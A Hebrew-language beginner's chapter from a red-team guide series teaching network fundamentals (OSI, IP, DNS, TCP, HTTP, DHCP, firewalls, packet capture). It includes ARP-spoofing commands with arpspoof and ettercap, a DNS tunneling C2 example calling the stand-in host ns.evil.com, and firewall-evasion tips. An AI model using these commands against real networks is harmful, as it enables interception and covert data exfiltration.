

פרק 3א · RED TEAM GUIDES

רשתות ותקשורת: יסודות

מדריך מלא למתחילים — בעברית

Red Team Guides Series · 2026

פרק 3א — רשתות ותקשורת: יסודות

< מה צריך לדעת לפני: פרק 1 ו-2. לא נחזור על Linux CLI.

מה זה רשת ולמה היא קיימת?

רשת = שני מחשבים (או יותר) שיכולים לתקשר. הסיבה הפשוטה: כדי לשתף מידע.

בלי רשת — כל קובץ היה צריך לעבור על USB. כל אימייל היה הליכה פיזית. האינטרנט עצמו הוא רק רשת עצומה של רשתות קטנות יותר שמתחברות.

מה מאפשר לרשת לעבוד?

נחשוב על שתי בעיות:

1. כתובת — איך מחשב A יודע לאיפה לשלוח נתונים?

2. שפה — איך מחשב A ו-B מסכימים על אופן ה"דיבור"?

הפתרון לשניהם: פרוטוקולים. פרוטוקול = מערכת כללים שכולם מסכימים עליה.

מודל 7 — OSI שכבות

מודל OSI (Open Systems Interconnection) הוא מודל תאורטי שמחלק תקשורת רשת ל-7 שכבות. כל שכבה אחראית על חלק ספציפי.

חשוב להבין: זה מודל — אבסטרקציה לקשר מחשבתי. ברשת אמיתית הכל עובד ביחד.

Application	HTTP, DNS, FTP, SSH, SMTP	שכבה 7
Presentation	SSL/TLS, encoding, compression	שכבה 6
Session	ניהול sessions, RPC	שכבה 5
Transport	TCP, UDP	שכבה 4
Network	IP	שכבה 3
Data Link	Ethernet, WiFi – MAC addresses	שכבה 2
Physical	כבלים, רדיו, אותות חשמליים	שכבה 1

טיפ לזכירה (באנגלית): "All People Seem To Need Data Processing" (7 → 1)

או מלמטה למעלה: " (1 → 7) Please Do Not Throw Sausage Pizza Away"

למה זה חשוב?

כי כשמשהו לא עובד — או כשמתקיפים — שואלים: "באיזה שכבה הבעיה?"

שכבה	בעיה	כלי לבדיקה
1 (Physical)	כבל לא מחובר, WiFi חלש	בדיקה פיזית
2 (Data Link)	MAC שגוי, ARP בעיה	arp, ip neigh
3 (Network)	IP שגוי, routing בעיה	ping, ip route
4 (Transport)	פורט חסום, חיבור נכשל	telnet, nc, ss
7 (Application)	Web server לא מגיב	curl, wget

ל-Red Teaming: כשמתקיפים, בוחרים שכבה. MITM = שכבה 2-3. SQLi = שכבה 7. Port scan = שכבה 4.

TCP/IP — המודל הפרקטי

בפועל, האינטרנט עובד על TCP/IP — שם לשתי הפרוטוקולים המרכזיות, ומודל של 4 שכבות:

Application	↔	OSI 5-7 שכבות (HTTP, DNS, SSH...)
Transport	↔	OSI 4 שכבה (TCP, UDP)
Internet	↔	OSI 3 שכבה (IP)
Network	↔	OSI 1-2 שכבות (Ethernet, WiFi)

איך נתון עובר מ-A ל-B?

Chrome שולח בקשה ל-google.com:

1. Chrome (Application)	→ HTTP Request
2. TCP (Transport)	→ TCP Segment-עוטף ב source/dest port, sequence numbers
3. IP (Network)	→ IP Packet-עוטף ב source/dest IP
4. Ethernet (Data Link)	→ Ethernet Frame-עוטף ב source/dest MAC
5. פיזי	→ שולח אותות על הכבל

בצד המקבל — קורה ההיפך: מפשיט שכבות אחת אחת.

Encapsulation (הכמסה):

```
[Ethernet Header | IP Header | TCP Header | HTTP Data | Ethernet Footer]
```

IP Addresses — כתובות ב-Layer 3

IP Address = מספר שמזהה מכונה ברשת. כמו כתובת דואר.

IPv4

```
192.168.1.100
```

```
  ↑   ↑   ↑   ↑
```

4 אוקטטים (bytes)

כל אחד: 0-255

גרסה פשוטה:

192.168.1.0/24 ← הרשת (24 bits למיקום)

192.168.1.100 ← ספציפי host

כתובות מיוחדות:

127.0.0.1 = localhost = "אני עצמי"

כל הכתובות = 0.0.0.0

255.255.255.255 = broadcast לכל הרשת

192.168.x.x = פרטי (Private)

10.x.x.x = פרטי

172.16.x.x-172.31.x.x = פרטי

CIDR Notation — ספירת כתובות

אחרי IP = subnet mask /24 קובע כמה כתובות יש ברשת.

```

1 - 32/ = כתובת אחת (host ספציפי)
2 = 31/ כתובות
4 = 30/ כתובות
8 = 29/ כתובות
16 = 28/ כתובות
24/ = 256 כתובות (נפוץ ל-LAN קטן)
23/ = 512 כתובות
22/ = 1,024 כתובות
16/ = 65,536 כתובות (נפוץ לארגונים)
8/ = 16,777,216 כתובות

```

```

דוגמה: 192.168.1.0/24
= כתובות 192.168.1.0 עד 192.168.1.255 (256 כתובות)
= 192.168.1.0 = network address (לא לשימוש)
= 192.168.1.255 = broadcast
= 192.168.1.1-254 = לשימוש (254 hosts)

```

```

# חשב subnet:
ipcalc 192.168.1.100/24
# Network: 192.168.1.0/24
# Broadcast: 192.168.1.255
# HostMin: 192.168.1.1
# HostMax: 192.168.1.254
# Hosts/Net: 254

# sudo apt install ipcalc

```

IPv6

~4 = IPv4 מיליארד כתובות → אזלו! IPv6 = 340 undecillion (מספר ענקי).

```

2001:0db8:85a3:0000:0000:8a2e:0370:7334
↑ 8 groups של 4 hex digits

```

ב-Red Teaming: כלים רבים ישנים לא תומכים ב-IPv6. לפעמים אפשר לעקוף firewall שחוסם IPv4 על ידי שימוש ב-IPv6!!

Layer 2 — MAC Addresses

MAC (Media Access Control) = כתובת פיזית שקבועה ב-hardware של כרטיס הרשת.

```
00:1A:2B:3C:4D:5E
```

```
↑ 6 bytes, hex
```

מזהה יצרן = OUI = ראשונים 3 bytes

```
00:1A:2B = Apple
```

```
00:50:56 = VMware
```

```
00:0C:29 = VMware גם כן
```

ל-Red Teaming:

- OUI מגלה מי ייצר את המכשיר — VM = sandbox? VMware OUI
- MAC ניתן לשינוי (כבר ראינו)
- MAC spoofing = "התחזה" למכשיר אחר ברשת

```
# lookup OUI:
```

```
macchanger --list | grep "Apple"
```

```
:א #
```

```
curl -s "https://api.macvendors.com/00:1A:2B" # → Apple, Inc.
```

ARP — חיבור בין IP ל-MAC

בעיה: IP הוא כתובת לוגית. כשרוצה לשלוח frame, צריך MAC. איך מתרגמים?

ARP (Address Resolution Protocol): שואל "מי יש לו broadcast" — "192.168.1.1? לכל הרשת.
הראוטר (שיש לו את ה-IP הזה) עונה עם ה-MAC שלו.

```
# ראה (IP → MAC) ARP cache
arp -n
ip neigh
# 192.168.1.1 dev eth0 lladdr 00:50:7f:ab:cd:ef REACHABLE

# שלח ARP request
arping -I eth0 192.168.1.1
```

ARP Spoofing — מתקפה קלאסית ב-Layer 2

הרעיון: שלח ARP replies כוזבים לרשת כדי שכולם "יחשבו" שאתה הראוטר.

```
מחשב A שולח: "מי 192.168.1.1?" (broadcast)
תוקף עונה: "אני 192.168.1.1! ה-MAC שלי הוא XX:XX:XX:XX:XX:XX"
מחשב A מאמין → שולח הכל לתוקף
תוקף מעביר לראוטר האמיתי → MITM
```

```
# כלי ל-ARP spoofing
sudo arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
# -t = target, שמתחזים ל, ה"קורבן" IP-אחרון =

# הפעל IP forwarding כדי שהחיבור לא יישבר:
echo 1 > /proc/sys/net/ipv4/ip_forward

# כלי מודרני:
sudo ettercap -T -q -M arp:remote /192.168.1.5// /192.168.1.1//
```

DNS — תרגום שמות לכתובות IP

DNS (Domain Name System) = ספר טלפונים של האינטרנט. מתרגם `google.com` →

`142.250.1.1`

```
אתה כותב: google.com בדפדפן

1. בדפדפן/OS יש "cache" – האם כבר יודע? לא.
2. שאל DNS Resolver מקומי (בד"כ הראוטר: 192.168.1.1)
   "com? מי אחראי על?"
3. Resolver שואל Root Name Server: "com? מי אחראי על?"
4. Root: "כאן: 192.5.6.30 Name Server .com שאל?"
5. Resolver שואל .com NS: "google.com? מי?"
6. .com NS: "כאן: 216.239.32.10 google NS שאל?"
7. Resolver שואל Google NS: "google.com? של IP מה?"
8. Google NS: "142.250.1.1"
9. cache מחזיר לך ושומר Resolver
```

Record Types — סוגי רשומות DNS

Type	שם	מה מכיל	דוגמה
A	Address	IPv4 → Domain	google.com → 142.250.1.1
AAAA	IPv6 Address	IPv6 → Domain	...:google.com → 2607:f8b0
CNAME	Canonical Name	alias	www.google.com → google.com
MX	Mail Exchange	שרת מייל	google.com → smtp.google.com
NS	Name Server	שרת DNS	google.com → ns1.google.com
TXT	Text	טקסט חופשי	SPF, DKIM, ownership
PTR	Pointer	Reverse DNS: IP → Domain	in-addr.arpa → google.com.1.1.250.142
SOA	Start of Auth	מידע על zone	
SRV	Service	שירות + פורט	kerberos._tcp.corp.com_


```

# שאלות DNS:
nslookup google.com           # IP של google.com
nslookup -type=MX google.com  # שרתי מ"ל
nslookup -type=NS google.com  # name servers

# dig – יותר יותר:
dig google.com                 # A record
dig google.com MX             # MX records
dig google.com ANY            # כל records
dig +short google.com         # רק IP
dig @8.8.8.8 google.com       # ספציפי DNS שאל

# Reverse DNS – IP → שם:
dig -x 8.8.8.8
nslookup 8.8.8.8

# Zone Transfer – ל-Red Teaming!
dig axfr @ns1.example.com example.com
# אם מוגדר לא נכון → מחזיר את כל ה-DNS records של הdomain!
# נדיר בימינו אבל עדיין קיים בארגונים ישנים

```

Red Teaming-ל DNS

:DNS Enumeration

```
# dnsrecon – מצא כל sub-domains:
dnsrecon -d target.com -t brt -D /usr/share/wordlists/dnsmap.txt
# -t brt = brute force
# -D = wordlist

# dnsenum:
dnsenum target.com

# subfinder (מודרני):
subfinder -d target.com

# amass:
amass enum -d target.com
```

DNS Tunneling: שלח נתונים מוסתרים ב-DNS queries!

```
# C2 communication דרך DNS (לעקיף Firewall):
attacker_server controls ns.evil.com
agent עושה: dig A "data_chunk.ns.evil.com"
# ← DNS query עובר דרך כל firewall
# ← server קולט את "data_chunk"
```

TCP — פרוטוקול מהימן

TCP (Transmission Control Protocol) = פרוטוקול מהימן — מבטיח שנתונים מגיעים בסדר ובלי אבודות.

TCP Three-Way Handshake

לפני כל תקשורת TCP, יש "לחיצת יד" בשלושה שלבים:

```

Client                                Server
| --- SYN (seq=100) --> |      "רוצה לחבר, נתחיל מ-100"
| <-- SYN-ACK (seq=500,ack=101) --- |      "סבבה! אני מתחיל מ-500, קיבלתי 100"
| --- ACK (ack=501) --> |      "קיבלתי 500"
|                               |
|                               |
| === חיבור מוקם === |

```

.SYN = Synchronize, **ACK** = Acknowledge

:TCP Flags

- SYN = התחל חיבור
- ACK = אישור קבלה
- FIN = סיים חיבור בסדר
- RST = אפס חיבור מיד (שגיאה)
- PSH = (push) שלח נתונים מיד
- URG = דחוף

Port Numbers

פורט = "כניסה" ספציפית ב-IP. כמו דירות בבניין — IP הוא הבניין, פורט הוא הדירה.

```
IP: 192.168.1.100 → הבניין
```

```
Port 80 → 80 דירה = web server
```

```
Port 443 → 443 דירה = HTTPS
```

```
Port 22 → 22 דירה = SSH
```

פורטים מוכרים:

20, 21	FTP	22	SSH	23	Telnet
25	SMTP	53	DNS	67, 68	DHCP
80	HTTP	110	POP3	143	IMAP
389	LDAP	443	HTTPS	445	SMB (Windows)
636	LDAPS	993	IMAPS	1433	MSSQL
1521	Oracle DB	3306	MySQL	3389	RDP (Windows)
5432	PostgreSQL	5900	VNC	8080	HTTP alt
8443	HTTPS alt	27017	MongoDB		

0-1023 = "Well-Known Ports" – מוקצים לשירותים סטנדרטיים

1024-49151 = "Registered Ports" – שירותים ספציפיים

49152-65535 = "Dynamic/Ephemeral" – פורטי מקור זמניים (client side)

TCP States

חיבור TCP עובר דרך מצבים שונים:

משמעות	State
שרת מחכה לחיבורים	LISTEN
שלחנו SYN, מחכים ל-SYN-ACK	SYN_SENT
חיבור פעיל	ESTABLISHED
מסיימים חיבור	FIN_WAIT1/2
מחכה לוודא שה-FIN הגיע	TIME_WAIT
הצד השני סגר	CLOSE_WAIT

```
ss -tulnp          # מאזינים ports כל
ss -tn            # חיבורים פעילים
netstat -an | grep ESTAB  # חיבורים מוקמים
netstat -an | grep LISTEN # "מאזין"
```

UDP — פרוטוקול מהיר (לא מהימן)

UDP (User Datagram Protocol) = שלח ושכח. אין handshake, אין אישורים, אין ערובה להגעה.

מתי UDP?

- DNS (שאלה קצרה, תשובה מהירה — אם אבד, שאל שוב)
- VoIP/שיחות וידאו (עדיף מסגרת "מפוספסת" מאשר delay)
- Gaming (latency קריטי)
- DHCP (אין עדיין IP לשלוח TCP)

```
# בדיקת port UDP
nc -u 192.168.1.1 53 # -u = UDP
nmap -sU -p 53,67,68,123 target # nmap UDP scan
```

HTTP/HTTPS — שפת הווב

HTTP (HyperText Transfer Protocol) = שפה שבה דפדפן מדבר עם שרת ווב.

Request-I-Response

```
:Request שולח דפדפן
GET /index.html HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 ...
Accept: text/html
Cookie: session=abc123
```

```
:Response מחזיר שרת
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session=xyz789
Content-Length: 1234

<html>...</html>
```

HTTP Methods:

שימוש	Method
קבל resource (דף, תמונה) — לא משנה נתונים	GET
שלח נתונים (טופס, login) — משנה	POST
החלף resource	PUT
מחק resource	DELETE
שנה חלק מ-resource	PATCH
כמו GET אבל רק headers	HEAD
בדוק מה מתמוך	OPTIONS

:HTTP Status Codes

```

1xx = Informational
2xx = הצלחה
    200 OK = הכל טוב
    201 Created = נוצר
    204 No Content = הצלחה, אין תוכן
3xx = Redirect
    301 Moved Permanently = עבר לצמיתות
    302 Found (Redirect) = עבור זמנית
4xx = שגיאת Client
    400 Bad Request = בקשה לא תקינה
    401 Unauthorized = login צריך
    403 Forbidden = אין הרשאה
    404 Not Found = לא נמצא
    405 Method Not Allowed = method אסור
5xx = שגיאת Server
    500 Internal Server Error = שגיאה בשרת
    502 Bad Gateway = קיבל שגיאה proxy
    503 Service Unavailable = שרת לא זמין

```

HTTPS = HTTP + TLS

TLS (Transport Layer Security) = שכבת הצפנה מעל HTTP. מבטיחה:

1. **Encryption** — אף אחד לא יכול לקרוא את התוכן

2. **Authentication** — וודא שה-server הוא מי שהוא טוען (Certificate)

3. **Integrity** — הנתונים לא שונו בדרך

```
Client: "שאני תומך TLS versions שלום! הנה"
Server: "שלי Certificate הנה. TLS-1.3 בסדר, נשתמש ב"
Client: מהימין CA חתום על ידי Certificate בודק: האם?
        האם ה-domain מתאים?
        האם Certificate לא פג?
Client: "session key אוקיי! מסכים על Certificate"
=== כל התקשורת מוצפנת ===
```

```
# בודק Certificate:
curl -v https://google.com 2>&1 | grep -A5 "Server certificate"
openssl s_client -connect google.com:443 </dev/null 2>/dev/null | openssl x509 -noout -text

# בודק TLS version ו-ciphers:
nmap --script ssl-enum-ciphers -p 443 google.com
testssl.sh google.com      # אם מותקן
```

DHCP — קבלת IP אוטומטית

DHCP (Dynamic Host Configuration Protocol) = מחלק כתובות IP אוטומטיות.

בלי DHCP — היית צריך להגדיר IP ידנית בכל מחשב.

```
מחשב חדש ברשת:
1. Client שולח DHCP Discover (broadcast) — "IP מי נותן?"
2. DHCP Server שולח DHCP Offer — "אני! קח 192.168.1.50"
3. Client שולח DHCP Request — "אני מקבל 192.168.1.50"
4. Server שולח DHCP Acknowledge — "מאושר! ל-24 שעות"
```

DHCP Starvation Attack: שלח אלפי DHCP Requests עם MACs מזויפים → השרת נותן כולם IP → ה-pool מתרוקן → מחשבים חדשים לא מקבלים IP = DoS.

Rogue DHCP Server: הקם DHCP server מזויף שמחלק:

- IP רגיל
- אבל Default Gateway = הכתובת שלך → MITM!

Routing — כיצד נתון מגיע ליעד?

Router (ראוטר) = מכשיר שמחבר בין רשתות שונות ומחליט לאן לשלוח packets.

Routing Table

```
ip route
# default via 192.168.1.1 dev eth0 ← כל מה שלא יודע → שלח לשם
# 192.168.1.0/24 dev eth0 proto kernel ← רשת מקומית = שלח ישירות
# 10.0.0.0/8 via 192.168.1.254 dev eth0 ← ספציפי route רשת פנימית דרך
route -n # ישן יותר, עדיין נפוץ
```

TTL — Time To Live

כל IP Packet יש לו **TTL** — מספר שלם שמתחיל ב-64 (Linux) / 255 (Cisco) / 128 (Windows).

כל router שה-packet עובר דרכו → מחסיר 1 מה-TTL. כש-TTL מגיע ל-0 → packet נמחק → "Expired" חוזר.

למה? למנוע routing loops. אם TTL לא היה קיים — packet יכול לסתובב לנצח.

Red Teaming: TTL של response חושף OS:

- Linux = 64
- Windows = 128
- Cisco/network device = 255

```
ping -c 1 target.com
# 64 bytes from target: icmp_seq=1 ttl=54 time=15ms
# ← routers עבר 10 (Linux) יצא מ-64 = 54 TTL
```



```
traceroute google.com
# 1 192.168.1.1 (שלי gateway) 1ms
# 2 10.0.0.1 5ms
# 3 ...
# 15 142.250.1.1 (google) 30ms

(hop) # כל שורה = router אחד
# * * * = router לא עונה (ICMP filtered)
```

Firewalls — שומרי הגישה

Firewall = מסנן תעבורת רשת לפי כללים. "מי יכול לדבר עם מי, באיזה פורט."

סוגי Firewalls

Stateless (Packet Filtering): בודק כל packet בנפרד לפי IP, port, protocol.

```
ALLOW TCP from ANY to 192.168.1.100:80 ← HTTP אפשר
DENY ALL ← חסום הכל אחר
```

Stateful: זוכר את ה-state של חיבורים. יודע ש-packet הוא חלק מחיבור מוקדם — אפשר. Packet חדש בלי handshake — חשוד.

Application Layer (WAF): מבין HTTP, SQL, etc. יכול לחסום XSS, SQLi.

NGFW (Next-Gen Firewall): מבין איזה application — לא רק פורטים. Chrome בפורט 80 ≠ Skype בפורט 80.

```
# ראה כללים נוכחיים:
sudo iptables -L -n -v

# Chains:
# INPUT  = תעבורה שמגיעה אלינו
# OUTPUT = תעבורה שיוצאת מאיתנו
# FORWARD = תעבורה שעוברת דרכנו

# הוסף כלל – אפשר SSH:
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# -A INPUT = הוסף ל INPUT chain
# -p tcp = protocol TCP
# --dport 22 = destination port 22
# -j ACCEPT = action: אפשר

# חסום פינג מכולם:
sudo iptables -A INPUT -p icmp -j DROP

# חסום IP ספציפי:
sudo iptables -A INPUT -s 1.2.3.4 -j DROP

# שמור כללים:
sudo iptables-save > /etc/iptables/rules.v4

# nftables (מודרני יותר):
sudo nft list ruleset

# UFW (Ubuntu Firewall – iptables ממשק נוח ל – UFW):
sudo ufw enable
sudo ufw allow ssh
sudo ufw allow 80/tcp
sudo ufw deny 23
sudo ufw status
```

```
# Port 80/443 תמיד פתוח – HTTP/HTTPS
# שלח C2 traffic דרכם!

# Firewall חוסם ICMP? nmap לטרוק עדיין יכול:
nmap -Pn target    # -Pn = ping אל תעשה

# Firewall agent 443 חוסם פורטים גבוהים? שמור:
# msfvenom -p ... LPORT=443 ...

# Protocol tunneling:
# DNS tunneling – dnscat2
# ICMP tunneling – ptunnel
# HTTP tunneling – reGeorg, Chisel
```

```
# לכוד הכל ב-eth0:
sudo tcpdump -i eth0

# לכוד רק HTTP:
sudo tcpdump -i eth0 port 80

# לכוד ל-file:
sudo tcpdump -i eth0 -w capture.pcap

# קרא pcap:
tcpdump -r capture.pcap

# פילטרים שימושיים:
tcpdump -i eth0 'host 192.168.1.100'      # זה IP רק מ/אל
tcpdump -i eth0 'tcp port 443'           # בלבד HTTPS
tcpdump -i eth0 'src host 192.168.1.1'    # זה IP-רק מ
tcpdump -i eth0 'not port 22'            # SSHהכל חוץ מ
tcpdump -i eth0 'tcp[13] & 2 != 0'        # SYN packets

# הצג ASCII (לראות HTTP/passwords):
tcpdump -i eth0 -A port 80
tcpdump -i eth0 -X port 80      # hex + ASCII
```

```
# הפעל:
sudo wireshark

# שים לב: Wireshark על interface ב-Promiscuous Mode!
# לכוד network traffic שלא מיועד לך – ב-switched network
# זה רק עובד על WiFi ב-monitor mode, או ב-hub (נדיר)

# Display Filters (לא capture filters):
http # רק HTTP
tcp.port == 443 # פורט 443
ip.addr == 192.168.1.1 # זה IP מ/אל traffic כל
http.request.method == "POST" # רק POST requests
tcp.flags.syn == 1 # רק SYN packets
dns # רק DNS
not arp # ללא ARP

# Follow TCP Stream:
packet → Follow → TCP Stream על לחץ ימני #
# ← רואה את כל השיחה בין שני endpoints!
```

סיכום — פרק 3

7 — OSI Model שכבות: Physical → Data

Application → Presentation → Session → Transport → Network → Link. כל התקפה שייכת לשכבה.

IP — כתובת לוגית. CIDR /24 = 256. IPv4 = 4 bytes. כתובות.

MAC — כתובת פיזית. ARP Spoofing = MITM Layer 2. ARP = IP → MAC.

DNS — [google.com](https://www.google.com) → IP. Zone Transfer = C2. DNS Tunneling חמקני.

TCP — מהימן. Ports. Three-Way Handshake = "דלתות" לשירותים.

UDP — מהיר, לא מהימן. DNS, VoIP.

HTTP/HTTPS — שפת הוובר. TLS. Status codes = הצפנה.

IP — **DHCP** אוטומטי. Starvation + Rogue DHCP = התקפות.

Routing — Default Gateway, TTL. traceroute חושף path.

Firewalls — iptables, UFW. Stateful > Stateless. Evasion דרך 80/443.

tcpdump/Wireshark — לכוד וניתח תעבורה.
